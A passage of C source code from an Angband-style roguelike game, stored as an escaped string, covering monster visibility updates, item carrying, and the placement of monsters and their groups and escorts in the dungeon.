and the visibility.  Whenever the player \"state\"\r\n * changes in certain ways (\"blindness\", \"infravision\", \"telepathy\",\r\n * and \"see invisible\"), we must call this function for every monster,\r\n * and update the visibility.\r\n *\r\n * Routines that change the \"illumination\" of a grid must also call this\r\n * function for any monster in that grid, since the \"visibility\" of some\r\n * monsters may be based on the illumination of their grid.\r\n *\r\n * Note that this function is called once per monster every time the\r\n * player moves.  When the player is running, this function is one\r\n * of the primary bottlenecks, along with \"update_view()\" and the\r\n * \"process_monsters()\" code, so efficiency is important.\r\n *\r\n * Note the optimized \"inline\" version of the \"distance()\" function.\r\n *\r\n * A monster is \"visible\" to the player if (1) it has been detected\r\n * by the player, (2) it is close to the player and the player has\r\n * telepathy, or (3) it is close to the player, and in line of sight\r\n * of the player, and it is \"illuminated\" by some combination of\r\n * infravision, torch light, or permanent light (invisible monsters\r\n * are only affected by \"light\" if the player can see invisible).\r\n *\r\n * Monsters which are not on the current panel may be \"visible\" to\r\n * the player, and their descriptions will include an \"offscreen\"\r\n * reference.  Currently, offscreen monsters cannot be targetted\r\n * or viewed directly, but old targets will remain set.  XXX XXX\r\n *\r\n * The player can choose to be disturbed by several things, including\r\n * \"disturb_move\" (monster which is viewable moves in some way), and\r\n * \"disturb_near\" (monster which is \"easily\" viewable moves in some\r\n * way).  Note that \"moves\" includes \"appears\" and \"disappears\".\r\n */\r\nvoid update_mon(int m_idx, bool full)\r\n{\r\n\tmonster_type *m_ptr = &m_list[m_idx];\r\n\r\n\tmonster_race *r_ptr = &r_info[m_ptr->r_idx];\r\n\r\n\tmonster_lore *l_ptr = &l_list[m_ptr->r_idx];\r\n\r\n\tint d;\r\n\r\n\t/* Current location */\r\n\tint fy = m_ptr->fy;\r\n\tint fx = m_ptr->fx;\r\n\r\n\t/* Seen at all */\r\n\tbool flag = FALSE;\r\n\r\n\t/* Seen by vision */\r\n\tbool easy = FALSE;\r\n\r\n\r\n\t/* Compute distance */\r\n\tif (full)\r\n\t{\r\n\t\tint py = p_ptr->py;\r\n\t\tint px = p_ptr->px;\r\n\r\n\t\t/* Distance components */\r\n\t\tint dy = (py > fy) ? (py - fy) : (fy - py);\r\n\t\tint dx = (px > fx) ? (px - fx) : (fx - px);\r\n\r\n\t\t/* Approximate distance */\r\n\t\td = (dy > dx) ? (dy + (dx>>1)) : (dx + (dy>>1));\r\n\r\n\t\t/* Restrict distance */\r\n\t\tif (d > 255) d = 255;\r\n\r\n\t\t/* Save the distance */\r\n\t\tm_ptr->cdis = d;\r\n\t}\r\n\r\n\t/* Extract distance */\r\n\telse\r\n\t{\r\n\t\t/* Extract the distance */\r\n\t\td = m_ptr->cdis;\r\n\t}\r\n\r\n\r\n\t/* Detected */\r\n\tif (m_ptr->mflag & (MFLAG_MARK)) flag = TRUE;\r\n\r\n\r\n\t/* Nearby */\r\n\tif (d <= MAX_SIGHT)\r\n\t{\r\n\t\t/* Basic telepathy */\r\n\t\tif (p_ptr->telepathy)\r\n\t\t{\r\n\t\t\t/* Empty mind, no telepathy */\r\n\t\t\tif (r_ptr->flags2 & (RF2_EMPTY_MIND))\r\n\t\t\t{\r\n\t\t\t\t/* Memorize flags */\r\n\t\t\t\tl_ptr->r_flags2 |= (RF2_EMPTY_MIND);\r\n\t\t\t}\r\n\r\n\t\t\t/* Weird mind, occasional telepathy */\r\n\t\t\telse if (r_ptr->flags2 & (RF2_WEIRD_MIND))\r\n\t\t\t{\r\n\t\t\t\t/* One in ten individuals are detectable */\r\n\t\t\t\tif ((m_idx % 10) == 5)\r\n\t\t\t\t{\r\n\t\t\t\t\t/* Detectable */\r\n\t\t\t\t\tflag = TRUE;\r\n\r\n\t\t\t\t\t/* Memorize flags */\r\n\t\t\t\t\tl_ptr->r_flags2 |= (RF2_WEIRD_MIND);\r\n\r\n\t\t\t\t\t/* Hack -- Memorize mental flags */\r\n\t\t\t\t\tif (r_ptr->flags2 & (RF2_SMART)) l_ptr->r_flags2 |= (RF2_SMART);\r\n\t\t\t\t\tif (r_ptr->flags2 & (RF2_STUPID)) l_ptr->r_flags2 |= (RF2_STUPID);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t/* Normal mind, allow telepathy */\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t/* Detectable */\r\n\t\t\t\tflag = TRUE;\r\n\r\n\t\t\t\t/* Hack -- Memorize mental flags */\r\n\t\t\t\tif (r_ptr->flags2 & (RF2_SMART)) l_ptr->r_flags2 |= (RF2_SMART);\r\n\t\t\t\tif (r_ptr->flags2 & (RF2_STUPID)) l_ptr->r_flags2 |= (RF2_STUPID);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t/* Normal line of sight, and not blind */\r\n\t\tif (player_has_los_bold(fy, fx) && !p_ptr->blind)\r\n\t\t{\r\n\t\t\tbool do_invisible = FALSE;\r\n\t\t\tbool do_cold_blood = FALSE;\r\n\r\n\t\t\t/* Use \"infravision\" */\r\n\t\t\tif (d <= p_ptr->see_infra)\r\n\t\t\t{\r\n\t\t\t\t/* Handle \"cold blooded\" monsters */\r\n\t\t\t\tif (r_ptr->flags2 & (RF2_COLD_BLOOD))\r\n\t\t\t\t{\r\n\t\t\t\t\t/* Take note */\r\n\t\t\t\t\tdo_cold_blood = TRUE;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t/* Handle \"warm blooded\" monsters */\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t/* Easy to see */\r\n\t\t\t\t\teasy = flag = TRUE;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t/* Use \"illumination\" */\r\n\t\t\tif (player_can_see_bold(fy, fx))\r\n\t\t\t{\r\n\t\t\t\t/* Handle \"invisible\" monsters */\r\n\t\t\t\tif (r_ptr->flags2 & (RF2_INVISIBLE))\r\n\t\t\t\t{\r\n\t\t\t\t\t/* Take note */\r\n\t\t\t\t\tdo_invisible = TRUE;\r\n\r\n\t\t\t\t\t/* See invisible */\r\n\t\t\t\t\tif (p_ptr->see_inv)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t/* Easy to see */\r\n\t\t\t\t\t\teasy = flag = TRUE;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\t/* Handle \"normal\" monsters */\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t/* Easy to see */\r\n\t\t\t\t\teasy = flag = TRUE;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t/* Visible */\r\n\t\t\tif (flag)\r\n\t\t\t{\r\n\t\t\t\t/* Memorize flags */\r\n\t\t\t\tif (do_invisible) l_ptr->r_flags2 |= (RF2_INVISIBLE);\r\n\t\t\t\tif (do_cold_blood) l_ptr->r_flags2 |= (RF2_COLD_BLOOD);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\r\n\t/* The monster is now visible */\r\n\tif (flag)\r\n\t{\r\n\t\t/* It was previously unseen */\r\n\t\tif (!m_ptr->ml)\r\n\t\t{\r\n\t\t\t/* Mark as visible */\r\n\t\t\tm_ptr->ml = TRUE;\r\n\r\n\t\t\t/* Draw the monster */\r\n\t\t\tlite_spot(fy, fx);\r\n\r\n\t\t\t/* Update health bar as needed */\r\n\t\t\tif (p_ptr->health_who == m_idx) p_ptr->redraw |= (PR_HEALTH);\r\n      \r\n      /* Update monster list window */\r\n      p_ptr->window |= (PW_MONLIST);\r\n\r\n\t\t\t/* Hack -- Count \"fresh\" sightings */\r\n\t\t\tif (l_ptr->r_sights < MAX_SHORT) l_ptr->r_sights++;\r\n\r\n\t\t\t/* Disturb on appearance */\r\n\t\t\tif (disturb_move) disturb(1, 0);\r\n\t\t}\r\n\t}\r\n\r\n\t/* The monster is not visible */\r\n\telse\r\n\t{\r\n\t\t/* It was previously seen */\r\n\t\tif (m_ptr->ml)\r\n\t\t{\r\n\t\t\t/* Mark as not visible */\r\n\t\t\tm_ptr->ml = FALSE;\r\n\r\n\t\t\t/* Erase the monster */\r\n\t\t\tlite_spot(fy, fx);\r\n\r\n\t\t\t/* Update health bar as needed */\r\n\t\t\tif (p_ptr->health_who == m_idx) p_ptr->redraw |= (PR_HEALTH);\r\n          \r\n      /* Update monster list window */\r\n      p_ptr->window |= (PW_MONLIST);\r\n\r\n\t\t\t/* Disturb on disappearance */\r\n\t\t\tif (disturb_move) disturb(1, 0);\r\n\t\t}\r\n\t}\r\n\r\n\r\n\t/* The monster is now easily visible */\r\n\tif (easy)\r\n\t{\r\n\t\t/* Change */\r\n\t\tif (!(m_ptr->mflag & (MFLAG_VIEW)))\r\n\t\t{\r\n\t\t\t/* Mark as easily visible */\r\n\t\t\tm_ptr->mflag |= (MFLAG_VIEW);\r\n\r\n\t\t\t/* Disturb on appearance */\r\n\t\t\tif (disturb_near) disturb(1, 0);\r\n\t\t}\r\n\t}\r\n\r\n\t/* The monster is not easily visible */\r\n\telse\r\n\t{\r\n\t\t/* Change */\r\n\t\tif (m_ptr->mflag & (MFLAG_VIEW))\r\n\t\t{\r\n\t\t\t/* Mark as not easily visible */\r\n\t\t\tm_ptr->mflag &= ~(MFLAG_VIEW);\r\n\r\n\t\t\t/* Disturb on disappearance */\r\n\t\t\tif (disturb_near && !m_ptr->is_friendly) disturb(1, 0);\r\n\t\t}\r\n\t}\r\n}\r\n\r\n\r\n\r\n\r\n/*\r\n * This function simply updates all the (non-dead) monsters (see above).\r\n */\r\nvoid update_monsters(bool full)\r\n{\r\n\tint i;\r\n\r\n\t/* Update each (live) monster */\r\n\tfor (i = 1; i < m_max; i++)\r\n\t{\r\n\t\tmonster_type *m_ptr = &m_list[i];\r\n\r\n\t\t/* Skip dead monsters */\r\n\t\tif (!m_ptr->r_idx) continue;\r\n\r\n\t\t/* Update the monster */\r\n\t\tupdate_mon(i, full);\r\n\t}\r\n}\r\n\r\n\r\n\r\n\r\n/*\r\n * Make a monster carry an object\r\n */\r\ns16b monster_carry(int m_idx, object_type *j_ptr)\r\n{\r\n\ts16b o_idx;\r\n\r\n\ts16b this_o_idx, next_o_idx = 0;\r\n\r\n\tmonster_type *m_ptr = &m_list[m_idx];\r\n\r\n\r\n\t/* Scan objects already being held for combination */\r\n\tfor (this_o_idx = m_ptr->hold_o_idx; this_o_idx; this_o_idx = next_o_idx)\r\n\t{\r\n\t\tobject_type *o_ptr;\r\n\r\n\t\t/* Get the object */\r\n\t\to_ptr = &o_list[this_o_idx];\r\n\r\n\t\t/* Get the next object */\r\n\t\tnext_o_idx = o_ptr->next_o_idx;\r\n\r\n\t\t/* Check for combination */\r\n\t\tif (object_similar(o_ptr, j_ptr))\r\n\t\t{\r\n\t\t\t/* Combine the items */\r\n\t\t\tobject_absorb(o_ptr, j_ptr);\r\n\r\n\t\t\t/* Result */\r\n\t\t\treturn (this_o_idx);\r\n\t\t}\r\n\t}\r\n\r\n\r\n\t/* Make an object */\r\n\to_idx = o_pop();\r\n\r\n\t/* Success */\r\n\tif (o_idx)\r\n\t{\r\n\t\tobject_type *o_ptr;\r\n\r\n\t\t/* Get new object */\r\n\t\to_ptr = &o_list[o_idx];\r\n\r\n\t\t/* Copy object */\r\n\t\tobject_copy(o_ptr, j_ptr);\r\n\r\n\t\t/* Forget mark */\r\n\t\to_ptr->marked = FALSE;\r\n\r\n\t\t/* Forget location */\r\n\t\to_ptr->iy = o_ptr->ix = 0;\r\n\r\n\t\t/* Link the object to the monster */\r\n\t\to_ptr->held_m_idx = m_idx;\r\n\r\n\t\t/* Link the object to the pile */\r\n\t\to_ptr->next_o_idx = m_ptr->hold_o_idx;\r\n\r\n\t\t/* Link the monster to the object */\r\n\t\tm_ptr->hold_o_idx = o_idx;\r\n\t}\r\n\r\n\t/* Result */\r\n\treturn (o_idx);\r\n}\r\n\r\n\r\n/*\r\n * Swap the players/monsters (if any) at two locations XXX XXX XXX\r\n */\r\nvoid monster_swap(int y1, int x1, int y2, int x2)\r\n{\r\n\tint m1, m2;\r\n\r\n\tmonster_type *m_ptr;\r\n\r\n\r\n\t/* Monsters */\r\n\tm1 = cave_m_idx[y1][x1];\r\n\tm2 = cave_m_idx[y2][x2];\r\n\r\n\r\n\t/* Update grids */\r\n\tcave_m_idx[y1][x1] = m2;\r\n\tcave_m_idx[y2][x2] = m1;\r\n\r\n\r\n\t/* Monster 1 */\r\n\tif (m1 > 0)\r\n\t{\r\n\t\tm_ptr = &m_list[m1];\r\n\r\n\t\t/* Move monster */\r\n\t\tm_ptr->fy = y2;\r\n\t\tm_ptr->fx = x2;\r\n\r\n\t\t/* Update monster */\r\n\t\tupdate_mon(m1, TRUE);\r\n\t}\r\n\r\n\t/* Player 1 */\r\n\telse if (m1 < 0)\r\n\t{\r\n\t\t/* Move player */\r\n\t\tp_ptr->py = y2;\r\n\t\tp_ptr->px = x2;\r\n\r\n\t\t/* Update the panel */\r\n\t\tp_ptr->update |= (PU_PANEL);\r\n\r\n\t\t/* Update the visuals (and monster distances) */\r\n\t\tp_ptr->update |= (PU_UPDATE_VIEW | PU_DISTANCE);\r\n\r\n\t\t/* Update the flow */\r\n\t\tp_ptr->update |= (PU_UPDATE_FLOW);\r\n\r\n\t\t/* Window stuff */\r\n\t\tp_ptr->window |= (PW_OVERHEAD);\r\n\t}\r\n\r\n\t/* Monster 2 */\r\n\tif (m2 > 0)\r\n\t{\r\n\t\tm_ptr = &m_list[m2];\r\n\r\n\t\t/* Move monster */\r\n\t\tm_ptr->fy = y1;\r\n\t\tm_ptr->fx = x1;\r\n\r\n\t\t/* Update monster */\r\n\t\tupdate_mon(m2, TRUE);\r\n\t}\r\n\r\n\t/* Player 2 */\r\n\telse if (m2 < 0)\r\n\t{\r\n\t\t/* Move player */\r\n\t\tp_ptr->py = y1;\r\n\t\tp_ptr->px = x1;\r\n\r\n\t\t/* Update the panel */\r\n\t\tp_ptr->update |= (PU_PANEL);\r\n\r\n\t\t/* Update the visuals (and monster distances) */\r\n\t\tp_ptr->update |= (PU_UPDATE_VIEW | PU_DISTANCE);\r\n\r\n\t\t/* Update the flow */\r\n\t\tp_ptr->update |= (PU_UPDATE_FLOW);\r\n\r\n\t\t/* Window stuff */\r\n\t\tp_ptr->window |= (PW_OVERHEAD);\r\n\t}\r\n\r\n\r\n\t/* Redraw */\r\n\tlite_spot(y1, x1);\r\n\tlite_spot(y2, x2);\r\n}\r\n\r\n\r\n/*\r\n * Place the player in the dungeon XXX XXX\r\n */\r\ns16b player_place(int y, int x)\r\n{\r\n\t/* Paranoia XXX XXX */\r\n\tif (cave_m_idx[y][x] != 0) return (0);\r\n\r\n\r\n\t/* Save player location */\r\n\tp_ptr->py = y;\r\n\tp_ptr->px = x;\r\n\r\n\t/* Mark cave grid */\r\n\tcave_m_idx[y][x] = -1;\r\n\r\n\t/* Success */\r\n\treturn (-1);\r\n}\r\n\r\n\r\n/*\r\n * Place a copy of a monster in the dungeon XXX XXX\r\n */\r\ns16b monster_place(int y, int x, monster_type *n_ptr)\r\n{\r\n\ts16b m_idx;\r\n\r\n\tmonster_type *m_ptr;\r\n\tmonster_race *r_ptr;\r\n\r\n\r\n\t/* Paranoia XXX XXX */\r\n\tif (cave_m_idx[y][x] != 0) return (0);\r\n\r\n\r\n\t/* Get a new record */\r\n\tm_idx = m_pop();\r\n\r\n\t/* Oops */\r\n\tif (m_idx)\r\n\t{\r\n\t\t/* Make a new monster */\r\n\t\tcave_m_idx[y][x] = m_idx;\r\n\r\n\t\t/* Get the new monster */\r\n\t\tm_ptr = &m_list[m_idx];\r\n\r\n\t\t/* Copy the monster XXX */\r\n\t\tCOPY(m_ptr, n_ptr, monster_type);\r\n\r\n\t\t/* Location */\r\n\t\tm_ptr->fy = y;\r\n\t\tm_ptr->fx = x;\r\n\r\n\t\t/* Update the monster */\r\n\t\tupdate_mon(m_idx, TRUE);\r\n\r\n\t\t/* Get the new race */\r\n\t\tr_ptr = &r_info[m_ptr->r_idx];\r\n\r\n\t\t/* Hack -- Notice new multi-hued monsters */\r\n\t\tif (r_ptr->flags1 & (RF1_ATTR_MULTI)) shimmer_monsters = TRUE;\r\n\r\n\t\t/* Hack -- Count the number of \"reproducers\" */\r\n\t\tif (r_ptr->flags2 & (RF2_MULTIPLY)) num_repro++;\r\n\r\n\t\t/* Count racial occurances */\r\n\t\tr_ptr->cur_num++;\r\n\t}\r\n\r\n\t/* Result */\r\n\treturn (m_idx);\r\n}\r\n\r\n\r\n\r\n/*\r\n * Attempt to place a monster of the given race at the given location.\r\n *\r\n * To give the player a sporting chance, any monster that appears in\r\n * line-of-sight and is extremely dangerous can be marked as\r\n * \"FORCE_SLEEP\", which will cause them to be placed with low energy,\r\n * which often (but not always) lets the player move before they do.\r\n *\r\n * This routine refuses to place out-of-depth \"FORCE_DEPTH\" monsters.\r\n *\r\n * XXX XXX XXX Use special \"here\" and \"dead\" flags for unique monsters,\r\n * remove old \"cur_num\" and \"max_num\" fields.\r\n *\r\n * XXX XXX XXX Actually, do something similar for artifacts, to simplify\r\n * the \"preserve\" mode, and to make the \"what artifacts\" flag more useful.\r\n *\r\n * This is the only function which may place a monster in the dungeon,\r\n * except for the savefile loading code.\r\n */\r\nstatic bool place_monster_one(int y, int x, int r_idx, bool slp, bool pet)\r\n{\r\n\tint i;\r\n\r\n\tmonster_race *r_ptr;\r\n\r\n\tmonster_type *n_ptr;\r\n\tmonster_type monster_type_body;\r\n\r\n\tcptr name;\r\n\r\n\r\n\t/* Paranoia */\r\n\tif (!in_bounds(y, x)) return (FALSE);\r\n\r\n\t/* Require empty space */\r\n\tif (!terrain_empty_bold(y, x)) return (FALSE);\r\n\r\n\t/* Hack -- no creation on glyph of warding */\r\n\tif (cave_feat[y][x] == FEAT_GLYPH) return (FALSE);\r\n\r\n\r\n\t/* Paranoia */\r\n\tif (!r_idx) return (FALSE);\r\n\r\n\t/* Race */\r\n\tr_ptr = &r_info[r_idx];\r\n\r\n\t/* Paranoia */\r\n\tif (!r_ptr->name) return (FALSE);\r\n\r\n\t/* Name */\r\n\tname = (r_name + r_ptr->name);\r\n\r\n\r\n\t/* Hack -- \"unique\" monsters must be \"unique\" */\r\n\tif ((r_ptr->flags1 & (RF1_UNIQUE)) && (r_ptr->cur_num >= r_ptr->max_num))\r\n\t{\r\n\t\t/* Cannot create */\r\n\t\treturn (FALSE);\r\n\t}\r\n\r\n\t/* Handle water terrain */\r\n\tif ((r_ptr->flags2 & (RF2_AQUATIC)) &&\r\n\t    (cave_feat[y][x] != FEAT_SHAL_WATER) &&\r\n\t    (cave_feat[y][x] != FEAT_DEEP_WATER))\r\n\t{\r\n\t\t/* Cannot create */\r\n\t\treturn (FALSE);\r\n\t}\r\n\tif ((!(r_ptr->flags2 & (RF2_AQUATIC))) &&\r\n\t    (cave_feat[y][x] == FEAT_SHAL_WATER) &&\r\n\t    (cave_feat[y][x] == FEAT_DEEP_WATER)) \r\n\t{\r\n\t\t/* Cannot create */\r\n\t\treturn (FALSE);\r\n\t}\r\n\r\n\t/* Depth monsters may NOT be created out of depth */\r\n\tif ((r_ptr->flags1 & (RF1_FORCE_DEPTH)) && (p_ptr->depth < r_ptr->level))\r\n\t{\r\n\t\t/* Cannot create */\r\n\t\treturn (FALSE);\r\n\t}\r\n\r\n\r\n\t/* Powerful monster */\r\n\tif (r_ptr->level > p_ptr->depth)\r\n\t{\r\n\t\t/* Unique monsters */\r\n\t\tif (r_ptr->flags1 & (RF1_UNIQUE))\r\n\t\t{\r\n\t\t\t/* Message for cheaters */\r\n\t\t\tif (cheat_hear) msg_format(\"Deep Unique (%s).\", name);\r\n\r\n\t\t\t/* Boost rating by twice delta-depth */\r\n\t\t\trating += (r_ptr->level - p_ptr->depth) * 2;\r\n\t\t}\r\n\r\n\t\t/* Normal monsters */\r\n\t\telse\r\n\t\t{\r\n\t\t\t/* Message for cheaters */\r\n\t\t\tif (cheat_hear) msg_format(\"Deep Monster (%s).\", name);\r\n\r\n\t\t\t/* Boost rating by delta-depth */\r\n\t\t\trating += (r_ptr->level - p_ptr->depth);\r\n\t\t}\r\n\t}\r\n\r\n\t/* Note the monster */\r\n\telse if (r_ptr->flags1 & (RF1_UNIQUE))\r\n\t{\r\n\t\t/* Unique monsters induce message */\r\n\t\tif (cheat_hear) msg_format(\"Unique (%s).\", name);\r\n\t}\r\n\r\n\r\n\t/* Get local monster */\r\n\tn_ptr = &monster_type_body;\r\n\r\n\t/* Clean out the monster */\r\n\t(void)WIPE(n_ptr, monster_type);\r\n\r\n\r\n\t/* Save the race */\r\n\tn_ptr->r_idx = r_idx;\r\n\r\n\r\n\t/* Enforce sleeping if needed */\r\n\tif (slp && r_ptr->sleep)\r\n\t{\r\n\t\tint val = r_ptr->sleep;\r\n\t\tn_ptr->csleep = ((val * 2) + randint(val * 10));\r\n\t}\r\n\r\n\r\n\t/* Assign maximal hitpoints */\r\n\tif (r_ptr->flags1 & (RF1_FORCE_MAXHP))\r\n\t{\r\n\t\tn_ptr->maxhp = maxroll(r_ptr->hdice, r_ptr->hside);\r\n\t}\r\n\telse\r\n\t{\r\n\t\tn_ptr->maxhp = damroll(r_ptr->hdice, r_ptr->hside);\r\n\t}\r\n\r\n\t/* And start out fully healthy */\r\n\tn_ptr->hp = n_ptr->maxhp;\r\n\r\n\r\n\t/* Extract the monster base speed */\r\n\tn_ptr->mspeed = r_ptr->speed;\r\n\r\n\t/* Hack -- small racial variety */\r\n\tif (!(r_ptr->flags1 & (RF1_UNIQUE)))\r\n\t{\r\n\t\t/* Allow some small variation per monster */\r\n\t\ti = extract_energy[r_ptr->speed] / 10;\r\n\t\tif (i) n_ptr->mspeed += rand_spread(0, i);\r\n\t}\r\n\r\n\r\n\t/* Give a random starting energy */\r\n\tn_ptr->energy = (byte)rand_int(100);\r\n\r\n\t/* Set to be friendly, if applicable */\r\n\tif (r_ptr->flags2 & RF2_FRIENDLY)\r\n\t{\r\n\t\tn_ptr->is_friendly = TRUE;\r\n\t}\r\n\r\n\t/* Set to be a pet, if applicable (no uniques) */\r\n\tif ((pet) && !(r_ptr->flags1 & (RF1_UNIQUE)))\r\n\t{\r\n\t\tn_ptr->is_friendly = TRUE;\r\n\t\tn_ptr->is_pet = TRUE;\r\n\t}\r\n\r\n\t/* Force monster to wait for player */\r\n\tif (r_ptr->flags1 & (RF1_FORCE_SLEEP))\r\n\t{\r\n\t\t/* Monster is still being nice */\r\n\t\tn_ptr->mflag |= (MFLAG_NICE);\r\n\r\n\t\t/* Optimize -- Repair flags */\r\n\t\trepair_mflag_nice = TRUE;\r\n\t}\r\n\r\n\t/* Monster is still being born */\r\n\tn_ptr->mflag |= (MFLAG_BORN);\r\n\r\n\t/* Optimize -- Repair flags */\r\n\trepair_mflag_born = TRUE;\r\n\r\n\r\n\t/* Place the monster in the dungeon */\r\n\tif (!monster_place(y, x, n_ptr)) return (FALSE);\r\n\r\n\t/* Success */\r\n\treturn (TRUE);\r\n}\r\n\r\n\r\n/*\r\n * Maximum size of a group of monsters\r\n */\r\n#define GROUP_MAX\t32\r\n\r\n\r\n/*\r\n * Attempt to place a \"group\" of monsters around the given location\r\n */\r\nstatic bool place_monster_group(int y, int x, int r_idx, bool slp, bool pet)\r\n{\r\n\tmonster_race *r_ptr = &r_info[r_idx];\r\n\r\n\tint old, n, i;\r\n\tint total, extra = 0;\r\n\r\n\tint hack_n;\r\n\r\n\tbyte hack_y[GROUP_MAX];\r\n\tbyte hack_x[GROUP_MAX];\r\n\r\n\r\n\t/* Pick a group size */\r\n\ttotal = randint(13);\r\n\r\n\t/* Hard monsters, small groups */\r\n\tif (r_ptr->level > p_ptr->depth)\r\n\t{\r\n\t\textra = r_ptr->level - p_ptr->depth;\r\n\t\textra = 0 - randint(extra);\r\n\t}\r\n\r\n\t/* Easy monsters, large groups */\r\n\telse if (r_ptr->level < p_ptr->depth)\r\n\t{\r\n\t\textra = p_ptr->depth - r_ptr->level;\r\n\t\textra = randint(extra);\r\n\t}\r\n\r\n\t/* Hack -- limit group reduction */\r\n\tif (extra > 12) extra = 12;\r\n\r\n\t/* Modify the group size */\r\n\ttotal += extra;\r\n\r\n\t/* Minimum size */\r\n\tif (total < 1) total = 1;\r\n\r\n\t/* Maximum size */\r\n\tif (total > GROUP_MAX) total = GROUP_MAX;\r\n\r\n\r\n\t/* Save the rating */\r\n\told = rating;\r\n\r\n\t/* Start on the monster */\r\n\thack_n = 1;\r\n\thack_x[0] = x;\r\n\thack_y[0] = y;\r\n\r\n\t/* Puddle monsters, breadth first, up to total */\r\n\tfor (n = 0; (n < hack_n) && (hack_n < total); n++)\r\n\t{\r\n\t\t/* Grab the location */\r\n\t\tint hx = hack_x[n];\r\n\t\tint hy = hack_y[n];\r\n\r\n\t\t/* Check each direction, up to total */\r\n\t\tfor (i = 0; (i < 8) && (hack_n < total); i++)\r\n\t\t{\r\n\t\t\tint mx = hx + ddx_ddd[i];\r\n\t\t\tint my = hy + ddy_ddd[i];\r\n\r\n\t\t\t/* Walls and Monsters block flow */\r\n\t\t\tif (!cave_empty_bold(my, mx)) continue;\r\n\r\n\t\t\t/* Attempt to place another monster */\r\n\t\t\tif (place_monster_one(my, mx, r_idx, slp, pet))\r\n\t\t\t{\r\n\t\t\t\t/* Add it to the \"hack\" set */\r\n\t\t\t\thack_y[hack_n] = my;\r\n\t\t\t\thack_x[hack_n] = mx;\r\n\t\t\t\thack_n++;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t/* Hack -- restore the rating */\r\n\trating = old;\r\n\r\n\r\n\t/* Success */\r\n\treturn (TRUE);\r\n}\r\n\r\n\r\n/*\r\n * Hack -- help pick an escort type\r\n */\r\nstatic int place_monster_idx = 0;\r\n\r\n/*\r\n * Hack -- help pick an escort type\r\n */\r\nstatic bool place_monster_okay(int r_idx)\r\n{\r\n\tmonster_race *r_ptr = &r_info[place_monster_idx];\r\n\r\n\tmonster_race *z_ptr = &r_info[r_idx];\r\n\r\n\t/* Require similar \"race\" */\r\n\tif (z_ptr->d_char != r_ptr->d_char) return (FALSE);\r\n\r\n\t/* Skip more advanced monsters */\r\n\tif (z_ptr->level > r_ptr->level) return (FALSE);\r\n\r\n\t/* Skip unique monsters */\r\n\tif (z_ptr->flags1 & (RF1_UNIQUE)) return (FALSE);\r\n\r\n\t/* Paranoia -- Skip identical monsters */\r\n\tif (place_monster_idx == r_idx) return (FALSE);\r\n\r\n\t/* Okay */\r\n\treturn (TRUE);\r\n}\r\n\r\n\r\n/*\r\n * Attempt to place a monster of the given race at the given location\r\n *\r\n * Note that certain monsters are now marked as requiring \"friends\".\r\n * These monsters, if successfully placed, and if the \"grp\" parameter\r\n * is TRUE, will be surrounded by a \"group\" of identical monsters.\r\n *\r\n * Note that certain monsters are now marked as requiring an \"escort\",\r\n * which is a collection of monsters with similar \"race\" but lower level.\r\n *\r\n * Some monsters induce a fake \"group\" flag on their escorts.\r\n *\r\n * Note the \"bizarre\" use of non-recursion to prevent annoying output\r\n * when running a code profiler.\r\n *\r\n * Note the use of the new \"monster allocation table\" code to restrict\r\n * the \"get_mon_num()\" function to \"legal\" escort types.\r\n */\r\nbool place_monster_aux(int y, int x, int r_idx, bool slp, bool grp, bool pet)\r\n{\r\n\tint i;\r\n\r\n\tmonster_race *r_ptr = &r_info[r_idx];\r\n\r\n\r\n\t/* Place one monster, or fail */\r\n\tif (!place_monster_one(y, x, r_idx, slp, pet)) return (FALSE);\r\n\r\n\r\n\t/* Require the \"group\" flag */\r\n\tif (!grp) return (TRUE);\r\n\r\n\r\n\t/* Friends for certain monsters */\r\n\tif (r_ptr->flags1 & (RF1_FRIENDS))\r\n\t{\r\n\t\t/* Attempt to place a group */\r\n\t\t(void)place_monster_group(y, x, r_idx, slp, pet);\r\n\t}\r\n\r\n\r\n\t/* Escorts for certain monsters */\r\n\tif (r_ptr->flags1 & (RF1_ESCORT))\r\n\t{\r\n\t\t/* Try to place several \"escorts\" */\r\n\t\tfor (i = 0; i < 50; i++)\r\n\t\t{\r\n\t\t\tint nx, ny, z, d = 3;\r\n\r\n\t\t\t/* Pick a location */\r\n\t\t\tscatter(&ny, &nx, y, x, d, 0);\r\n\r\n\t\t\t/* Require empty grids */\r\n\t\t\tif (!cave_empty_bold(ny, nx)) continue;\r\n\r\n\r\n\t\t\t/* Set the escort index */\r\n\t\t\tplace_monster_idx = r_idx;\r\n\r\n\r\n\t\t\t/* Set the escort hook */\r\n\t\t\tget_mon_num_hook = place_monster_okay;\r\n\r\n\t\t\t/* Prepare allocation table */\r\n\t\t\tget_mon_num_prep();\r\n\r\n\r\n\t\t\t/* Pick a random race */\r\n\t\t\tz = get_mon_num(r_ptr->level);\r\n\r\n\r\n\t\t\t/* Remove restriction */\r\n\t\t\tget_mon_num_hook = NULL;\r\n\r\n\t\t\t/* Prepare allocation table */\r\n\t\t\tget_mon_num_prep();\r\n\r\n\r\n\t\t\t/* Handle failure */\r\n\t\t\tif (!z) break;\r\n\r\n\t\t\t/* Place a single escort */\r\n\t\t\t(void)place_monster_one(ny, nx, z, slp, pet);\r\n\r\n\t\t\t/* Place a \"group\" of escorts if needed */\r\n\t\t\tif ((r_info[z].flags1 & (RF1_FRIENDS)) ||\r\n\t\t\t    (r_ptr->flags1 & (RF1_ESCORTS)))\r\n\t\t\t{\r\n\t\t\t\t/* Place a group of monsters */\r\n\t\t\t\t(void)place_monster_group(ny, nx, z, slp, pet);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\r\n\t/* Success */\r\n\treturn (TRUE);\r\n}\r\n\r\n\r\n/*\r\n * Hack -- attempt to place a monster at the given location\r\n *\r\n * Attempt to find a monster appropriate to the \"monster_level\"\r\n */\r\nbool place_monster(int y, int x, bool slp, bool grp)\r\n{\r\n\tint 